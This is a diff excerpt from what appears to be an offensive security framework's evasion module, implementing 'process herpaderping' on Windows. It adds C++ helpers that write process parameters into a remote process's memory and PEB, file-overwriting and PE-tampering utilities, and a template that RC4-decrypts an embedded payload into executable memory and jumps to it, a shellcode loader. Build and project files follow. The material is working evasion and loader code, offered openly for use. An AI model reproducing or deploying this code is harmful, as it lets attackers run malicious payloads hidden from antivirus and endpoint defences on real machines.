const std::wstring ImageFileName,
|
||||
const std::optional<std::wstring>& DllPath,
|
||||
const std::optional<std::wstring>& CurrentDirectory,
|
||||
const std::optional<std::wstring>& CommandLine,
|
||||
void* EnvironmentBlock,
|
||||
const std::optional<std::wstring>& WindowTitle,
|
||||
const std::optional<std::wstring>& DesktopInfo,
|
||||
const std::optional<std::wstring>& ShellInfo,
|
||||
const std::optional<std::wstring>& RuntimeData)
|
||||
{
|
||||
//
|
||||
// Get the basic info for the remote PEB address.
|
||||
//
|
||||
PROCESS_BASIC_INFORMATION pbi{};
|
||||
NTSTATUS status = NtQueryInformationProcess(ProcessHandle,
|
||||
ProcessBasicInformation,
|
||||
&pbi,
|
||||
sizeof(pbi),
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
REPORT_AND_RETURN_NT("WriteRemoteProcessParameters: Failed to query process info", status);
|
||||
}
|
||||
|
||||
//
|
||||
// Generate the process parameters to write into the process.
|
||||
//
|
||||
UNICODE_STRING imageName;
|
||||
RtlInitUnicodeString(&imageName, ImageFileName.c_str());
|
||||
OptionalUnicodeStringHelper dllPath(DllPath);
|
||||
OptionalUnicodeStringHelper commandLine(CommandLine);
|
||||
OptionalUnicodeStringHelper currentDirectory(CurrentDirectory);
|
||||
OptionalUnicodeStringHelper windowTitle(WindowTitle);
|
||||
OptionalUnicodeStringHelper desktopInfo(DesktopInfo);
|
||||
OptionalUnicodeStringHelper shellInfo(ShellInfo);
|
||||
OptionalUnicodeStringHelper runtimeData(RuntimeData);
|
||||
PRTL_USER_PROCESS_PARAMETERS params;
|
||||
|
||||
//
|
||||
// Generate the process parameters and do not pass
|
||||
// RTL_USER_PROC_PARAMS_NORMALIZED, this will keep the process parameters
|
||||
// de-normalized (pointers will be offsets instead of addresses) then
|
||||
// LdrpInitializeProcess will call RtlNormalizeProcessParameters and fix
|
||||
// them up when the process starts.
|
||||
//
|
||||
// Note: There is an exception here, the Environment pointer is not
|
||||
// de-normalized - we'll fix that up ourself.
|
||||
//
|
||||
status = RtlCreateProcessParametersEx(¶ms,
|
||||
&imageName,
|
||||
dllPath,
|
||||
currentDirectory,
|
||||
commandLine,
|
||||
EnvironmentBlock,
|
||||
windowTitle,
|
||||
desktopInfo,
|
||||
shellInfo,
|
||||
runtimeData,
|
||||
0);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
REPORT_AND_RETURN_NT("WriteRemoteProcessParameters: Failed to create process parameters", status);
|
||||
}
|
||||
|
||||
//
|
||||
// Calculate the required length.
|
||||
//
|
||||
size_t len = params->MaximumLength + params->EnvironmentSize;
|
||||
|
||||
//
|
||||
// Allocate memory in the remote process to hold the process parameters.
|
||||
//
|
||||
auto remoteMemory = VirtualAllocEx(ProcessHandle,
|
||||
nullptr,
|
||||
len,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE);
|
||||
if (remoteMemory == nullptr)
|
||||
{
|
||||
RtlDestroyProcessParameters(params);
|
||||
REPORT_AND_RETURN_WIN32("WriteRemoteProcessParameters: Error allocating memory", GetLastError());
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Okay we have some memory in the remote process, go do the final fix-ups.
|
||||
//
|
||||
if (params->Environment != nullptr)
|
||||
{
|
||||
//
|
||||
// The environment block will always be right after the length, which
|
||||
// is the size of RTL_USER_PROCESS_PARAMETERS plus any extra field
|
||||
// data.
|
||||
//
|
||||
params->Environment = Add2Ptr(remoteMemory, params->Length);
|
||||
}
|
||||
|
||||
//
|
||||
// Write the parameters into the remote process.
|
||||
//
|
||||
if (WriteProcessMemory(ProcessHandle, remoteMemory, params, len, nullptr) == 0)
|
||||
{
|
||||
RtlDestroyProcessParameters(params);
|
||||
REPORT_AND_RETURN_WIN32("WriteRemoteProcessParameters: Error writting parameters into the remote process", GetLastError());
|
||||
}
|
||||
|
||||
//
|
||||
// Write the parameter pointer to the remote process PEB.
|
||||
//
|
||||
if (WriteProcessMemory(ProcessHandle,
|
||||
Add2Ptr(pbi.PebBaseAddress,
|
||||
FIELD_OFFSET(PEB, ProcessParameters)),
|
||||
&remoteMemory,
|
||||
sizeof(remoteMemory),
|
||||
nullptr) == 0)
|
||||
{
|
||||
RtlDestroyProcessParameters(params);
|
||||
REPORT_AND_RETURN_WIN32("WriteRemoteProcessParameters: Error writting the parameter pointer to the remote process PEB", GetLastError());
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
#pragma optimize( "", off )
|
||||
_Use_decl_annotations_
|
||||
BOOL Utils::ShouldReplaceWithFile(
|
||||
const char* fileName)
|
||||
{
|
||||
return (fileName[0] == '\0') ? FALSE : TRUE;
|
||||
}
|
||||
#pragma optimize( "", on )
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::GetFileName(
|
||||
const char* sourceFileName,
|
||||
std::wstring& finalFileName)
|
||||
{
|
||||
size_t cbTargetFileName = strnlen_s(sourceFileName, FILE_MAX_PATH);
|
||||
int sizeNeeded = MultiByteToWideChar(CP_UTF8,
|
||||
0,
|
||||
sourceFileName,
|
||||
(int)cbTargetFileName,
|
||||
NULL,
|
||||
0);
|
||||
if (sizeNeeded == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("GetFileName: Error getting required size to convert filename to wide chars", GetLastError());
|
||||
}
|
||||
|
||||
std::wstring TargetFileNameTmp(sizeNeeded, 0);
|
||||
if (MultiByteToWideChar(CP_UTF8,
|
||||
0,
|
||||
sourceFileName,
|
||||
(int)cbTargetFileName,
|
||||
&TargetFileNameTmp[0],
|
||||
sizeNeeded) == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("GetFileName: Error converting filename to wide chars", GetLastError());
|
||||
}
|
||||
|
||||
sizeNeeded = ExpandEnvironmentStringsW(TargetFileNameTmp.c_str(), NULL, 0);
|
||||
if (sizeNeeded == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("GetFileName: Error getting required size to expand filename", GetLastError());
|
||||
}
|
||||
|
||||
finalFileName.resize(((size_t)sizeNeeded) - 1, 0);
|
||||
if (ExpandEnvironmentStringsW(TargetFileNameTmp.c_str(), &finalFileName[0], sizeNeeded) == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("GetFileName: Error expanding filename", GetLastError());
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
249
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/utils.hpp
vendored
Executable file
249
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/utils.hpp
vendored
Executable file
@ -0,0 +1,249 @@
|
||||
#pragma once
|
||||
|
||||
namespace Utils
|
||||
{
|
||||
constexpr static uint32_t MaxFileBuffer{ 0x8000 }; // 32kib
|
||||
|
||||
#pragma warning(push)
|
||||
#pragma warning(disable : 4634) // xmldoc: discarding XML document comment for invalid target
|
||||
/// <summary>
|
||||
/// Removes all occurrences of a set of values from an object.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">
|
||||
/// Object type to remove elements of. Must implement erase, be forward
|
||||
/// iterate-able, and contained value type must be move assignable.
|
||||
/// </typeparam>
|
||||
/// <param name="Object">
|
||||
/// Object to erase elements from.
|
||||
/// </param>
|
||||
/// <param name="Values">
|
||||
/// Values to remove.
|
||||
/// </param>
|
||||
template <typename T>
|
||||
void EraseAll(
|
||||
_Inout_ T& Object,
|
||||
_In_ const std::initializer_list<typename T::value_type>& Values)
|
||||
{
|
||||
for (const auto& value : Values)
|
||||
{
|
||||
Object.erase(std::remove(Object.begin(),
|
||||
Object.end(),
|
||||
value),
|
||||
Object.end());
|
||||
}
|
||||
}
|
||||
#pragma warning(pop)
|
||||
|
||||
/// <summary>
|
||||
/// Formats an error code as a string.
|
||||
/// </summary>
|
||||
/// <param name="Error">
|
||||
/// Error code to format as a string.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Human readable string for the error code if the error is unknown a
|
||||
/// string is returned formatted as "[number] - Unknown Error".
|
||||
/// </returns>
|
||||
std::wstring FormatError(_In_ uint32_t Error);
|
||||
|
||||
/// <summary>
|
||||
/// Generates a buffer of a given length containing a supplied pattern.
|
||||
/// </summary>
|
||||
/// <param name="Buffer">
|
||||
/// Buffer to fill with the patter, must not be empty.
|
||||
/// </param>
|
||||
/// <param name="Pattern">
|
||||
/// Pattern to write into the buffer.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success when the buffer is filled with the pattern. Failure if Buffer
|
||||
/// is empty.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT FillBufferWithPattern(
|
||||
_Inout_ std::vector<uint8_t>& Buffer,
|
||||
_In_ std::span<const uint8_t> Pattern);
|
||||
|
||||
/// <summary>
|
||||
/// Gets a file size.
|
||||
/// </summary>
|
||||
/// <param name="FileHandle">
|
||||
/// File to get the size of.
|
||||
/// </param>
|
||||
/// <param name="FileSize">
|
||||
/// Set to the size of the file on success.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the file size of retrieved.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT GetFileSize(
|
||||
_In_ handle_t FileHandle,
|
||||
_Out_ uint64_t& FileSize);
|
||||
|
||||
/// <summary>
|
||||
/// Sets a file pointer.
|
||||
/// </summary>
|
||||
/// <param name="FileHandle">
|
||||
/// File to set the pointer of.
|
||||
/// </param>
|
||||
/// <param name="DistanceToMove">
|
||||
/// Distance to move the file pointer.
|
||||
/// </param>
|
||||
/// <param name="MoveMethod">
|
||||
/// Move method to use (FILE_BEGIN, FILE_CURRENT, FILE_END).
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the file pointer was set (or was already set).
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT SetFilePointer(
|
||||
_In_ handle_t FileHandle,
|
||||
_In_ int64_t DistanceToMove,
|
||||
_In_ uint32_t MoveMethod);
|
||||
|
||||
/// <summary>
|
||||
/// Copies the contents for a source file to the target by handle.
|
||||
/// </summary>
|
||||
/// <param name="SourceHandle">
|
||||
/// Source file handle.
|
||||
/// </param>
|
||||
/// <param name="TargetHandle">
|
||||
/// Target file handle.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the source file has been copied to the target.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT CopyFileByHandle(
|
||||
_In_ handle_t SourceHandle,
|
||||
_In_ handle_t TargetHandle);
|
||||
|
||||
/// <summary>
|
||||
/// Overwrites the contents of a file with a pattern.
|
||||
/// </summary>
|
||||
/// <param name="FileHandle">
|
||||
/// Target file to overwrite.
|
||||
/// </param>
|
||||
/// <param name="Pattern">
|
||||
/// Pattern write over the file content.
|
||||
/// </param>
|
||||
/// <param name="PatternLength">
|
||||
/// Length of Pattern buffer.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the file content was overwritten.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT OverwriteFileContentsWithPattern(
|
||||
_In_ handle_t FileHandle,
|
||||
_In_ std::span<const uint8_t> Pattern);
|
||||
|
||||
/// <summary>
|
||||
/// Overwrites a file from a given offset with a pattern.
|
||||
/// </summary>
|
||||
/// <param name="FileHandle">
|
||||
/// Target file to overwrite.
|
||||
/// </param>
|
||||
/// <param name="FileOffset">
|
||||
/// Offset to begin writing from.
|
||||
/// </param>
|
||||
/// <param name="Pattern">
|
||||
/// Pattern to use to extend the target file with.
|
||||
/// </param>
|
||||
/// <param name="WrittenBytes">
|
||||
/// Number of bytes written.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the file was overwritten.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT OverwriteFileAfterWithPattern(
|
||||
_In_ handle_t FileHandle,
|
||||
_In_ uint64_t FileOffset,
|
||||
_In_ std::span<const uint8_t> Pattern,
|
||||
_Out_ uint32_t& WrittenBytes);
|
||||
|
||||
/// <summary>
|
||||
/// Extends a PE file security directory by a number of bytes.
|
||||
/// </summary>
|
||||
/// <param name="FileHandle">
|
||||
/// Target file handle.
|
||||
/// </param>
|
||||
/// <param name="ExtendedBy">
|
||||
/// Number of bytes to extend the security directory by.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the security directory was extended. Failure if the file is
|
||||
/// not a PE file or does not have a security directory.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT ExtendFileSecurityDirectory(
|
||||
_In_ handle_t FileHandle,
|
||||
_In_ uint32_t ExtendedBy);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the image entry point RVA from a file.
|
||||
/// </summary>
|
||||
/// <param name="FileHandle">
|
||||
/// File to parse for the entry point RVA.
|
||||
/// </param>
|
||||
/// <param name="EntryPointRva">
|
||||
/// Set to the entry point RVA on success.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the PE image entry RVA is located.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT GetImageEntryPointRva(
|
||||
_In_ handle_t FileHandle,
|
||||
_Out_ uint32_t& EntryPointRva);
|
||||
|
||||
/// <summary>
|
||||
/// Writes remote process parameters into target process.
|
||||
/// </summary>
|
||||
/// <param name="ProcessHandle">
|
||||
/// Process to write parameters into.
|
||||
/// </param>
|
||||
/// <param name="DllPath">
|
||||
/// Dll path to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <param name="ImageFileName">
|
||||
/// Image file name to write into the parameters.
|
||||
/// </param>
|
||||
/// <param name="CurrentDirectory">
|
||||
/// Current directory to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <param name="CommandLine">
|
||||
/// Command line to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <param name="EnvironmentBlock">
|
||||
/// Environment block to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <param name="WindowTitle">
|
||||
/// Window title to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <param name="DesktopInfo">
|
||||
/// Desktop info to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <param name="ShellInfo">
|
||||
/// ShellInfo to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <param name="RuntimeData">
|
||||
/// Runtime data to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the remote process parameters are written.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT WriteRemoteProcessParameters(
|
||||
_In_ handle_t ProcessHandle,
|
||||
_In_ const std::wstring ImageFileName,
|
||||
_In_opt_ const std::optional<std::wstring>& DllPath,
|
||||
_In_opt_ const std::optional<std::wstring>& CurrentDirectory,
|
||||
_In_opt_ const std::optional<std::wstring>& CommandLine,
|
||||
_In_opt_ void* EnvironmentBlock,
|
||||
_In_opt_ const std::optional<std::wstring>& WindowTitle,
|
||||
_In_opt_ const std::optional<std::wstring>& DesktopInfo,
|
||||
_In_opt_ const std::optional<std::wstring>& ShellInfo,
|
||||
_In_opt_ const std::optional<std::wstring>& RuntimeData);
|
||||
|
||||
_Must_inspect_result_ BOOL ShouldReplaceWithFile(
|
||||
_In_ const char* fileName);
|
||||
|
||||
_Must_inspect_result_ HRESULT GetFileName(
|
||||
_In_ const char* sourceFileName,
|
||||
_Out_ std::wstring& finalFileName);
|
||||
|
||||
}
|
72
external/source/evasion/windows/process_herpaderping/ProcessHerpaderpingTemplate/ProcessHerpaderpingTemplate.cpp
vendored
Executable file
72
external/source/evasion/windows/process_herpaderping/ProcessHerpaderpingTemplate/ProcessHerpaderpingTemplate.cpp
vendored
Executable file
@ -0,0 +1,72 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#define N 256 // 2^8
|
||||
|
||||
void swap(unsigned char* a, unsigned char* b) {
|
||||
int tmp = *a;
|
||||
*a = *b;
|
||||
*b = tmp;
|
||||
}
|
||||
|
||||
int KSA(char* key, unsigned char* S) {
|
||||
size_t len = strlen(key);
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
S[i] = i;
|
||||
}
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
j = (j + S[i] + key[i % len]) % N;
|
||||
swap(&S[i], &S[j]);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int PRGA(unsigned char* S, char* plaintext, unsigned char* ciphertext, int plainTextSize) {
|
||||
int i = 0;
|
||||
int j = 0;
|
||||
|
||||
for (size_t n = 0, len = plainTextSize; n < len; n++) {
|
||||
i = (i + 1) % N;
|
||||
j = (j + S[i]) % N;
|
||||
swap(&S[i], &S[j]);
|
||||
int rnd = S[(S[i] + S[j]) % N];
|
||||
ciphertext[n] = rnd ^ plaintext[n];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int RC4(char* key, char* plaintext, unsigned char* ciphertext, int plainTextSize) {
|
||||
unsigned char S[N];
|
||||
KSA(key, S);
|
||||
PRGA(S, plaintext, ciphertext, plainTextSize);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// The future embedded payload will have the following format:
|
||||
// TOTAL_SIZE (uint) + PAYLOAD + JUNK
|
||||
// These constants must match the constants defined in the module
|
||||
#define MAX_PAYLOAD_SIZE 8192
|
||||
#define MAX_JUNK_SIZE 1024
|
||||
#define MAX_KEY_SIZE 64
|
||||
|
||||
static unsigned char payload[sizeof(unsigned int) + MAX_PAYLOAD_SIZE + MAX_JUNK_SIZE] = "PAYLOAD";
|
||||
static unsigned char key[MAX_KEY_SIZE + 1] = "ENCKEY"; // reserve one byte for the terminating NULL character
|
||||
|
||||
int main() {
|
||||
unsigned int* lpBufSize = (unsigned int*)payload;
|
||||
char* payloadValue = (char*)(payload + sizeof(unsigned int));
|
||||
LPVOID lpBuf = VirtualAlloc(NULL, *lpBufSize, MEM_COMMIT, 0x00000040);
|
||||
memset(lpBuf, '\0', *lpBufSize);
|
||||
|
||||
RC4((char *)key, payloadValue, (unsigned char*)lpBuf, *lpBufSize);
|
||||
void (*func)();
|
||||
func = (void (*)()) lpBuf;
|
||||
(void)(*func)();
|
||||
|
||||
return 0;
|
||||
}
|
@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="test_console_app.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
31
external/source/evasion/windows/process_herpaderping/ProcessHerpaderpingTemplate/ProcessHerpaderpingTemplate.sln
vendored
Executable file
31
external/source/evasion/windows/process_herpaderping/ProcessHerpaderpingTemplate/ProcessHerpaderpingTemplate.sln
vendored
Executable file
@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.30717.126
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ProcessHerpaderpingTemplate", "ProcessHerpaderpingTemplate.vcxproj", "{883BA1BA-00FE-421F-9C5D-C88936734D86}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{883BA1BA-00FE-421F-9C5D-C88936734D86}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{883BA1BA-00FE-421F-9C5D-C88936734D86}.Debug|x64.Build.0 = Debug|x64
|
||||
{883BA1BA-00FE-421F-9C5D-C88936734D86}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{883BA1BA-00FE-421F-9C5D-C88936734D86}.Debug|x86.Build.0 = Debug|Win32
|
||||
{883BA1BA-00FE-421F-9C5D-C88936734D86}.Release|x64.ActiveCfg = Release|x64
|
||||
{883BA1BA-00FE-421F-9C5D-C88936734D86}.Release|x64.Build.0 = Release|x64
|
||||
{883BA1BA-00FE-421F-9C5D-C88936734D86}.Release|x86.ActiveCfg = Release|Win32
|
||||
{883BA1BA-00FE-421F-9C5D-C88936734D86}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {41729891-DB5A-4C50-81F8-C0240E8D39A9}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
150
external/source/evasion/windows/process_herpaderping/ProcessHerpaderpingTemplate/ProcessHerpaderpingTemplate.vcxproj
vendored
Executable file
150
external/source/evasion/windows/process_herpaderping/ProcessHerpaderpingTemplate/ProcessHerpaderpingTemplate.vcxproj
vendored
Executable file
@ -0,0 +1,150 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{883ba1ba-00fe-421f-9c5d-c88936734d86}</ProjectGuid>
|
||||
<RootNamespace>testconsoleapp</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;DEBUGTRACE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<OmitFramePointers />
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;DEBUGTRACE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
